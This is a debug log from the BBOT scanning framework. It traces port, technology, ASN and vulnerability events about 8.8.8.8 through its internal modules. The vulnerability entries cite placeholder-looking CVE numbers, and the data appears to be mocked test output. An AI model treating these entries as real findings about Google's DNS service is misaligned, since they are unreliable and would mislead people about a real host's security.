Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,895 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,895 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,896 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:03:15,896 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:03:15,897 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,897 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,898 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,898 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,899 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) because precheck succeeded +2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,899 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,900 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,900 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,901 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:03:15,901 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,901 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,901 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,902 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,902 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,903 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:03:15,903 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,903 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,904 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,904 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,905 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:03:15,905 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,906 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,906 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,907 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:03:15,907 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,907 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) +2026-03-02 09:03:15,908 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded +2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,908 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,909 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,909 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,909 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,910 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,910 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,910 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:03:15,910 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check +2026-03-02 09:03:15,911 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,911 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because event was already emitted by its module +2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:03:15,912 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,912 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) +2026-03-02 09:03:15,913 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded +2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,913 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:03:15,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check +2026-03-02 09:03:15,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,914 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:03:15,914 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,915 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:03:15,915 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:03:15,916 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check +2026-03-02 09:03:15,917 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,917 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,917 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:03:15,918 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because precheck succeeded +2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,918 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:03:15,919 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) passed post-check +2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,921 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) +2026-03-02 09:03:15,922 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'in-scope', 'web-crypto', 'web-technology'}) because precheck succeeded +2026-03-02 09:03:15,922 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:03:15,922 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,923 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:03:15,923 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:03:15,924 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:03:15,985 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) from shodan_enterprise +2026-03-02 09:03:15,986 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:03:15,986 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:03:15,987 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,987 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise +2026-03-02 09:03:15,988 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,989 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise +2026-03-02 09:03:15,990 [DEBUG] bbot.modules.output.python base.py:1563 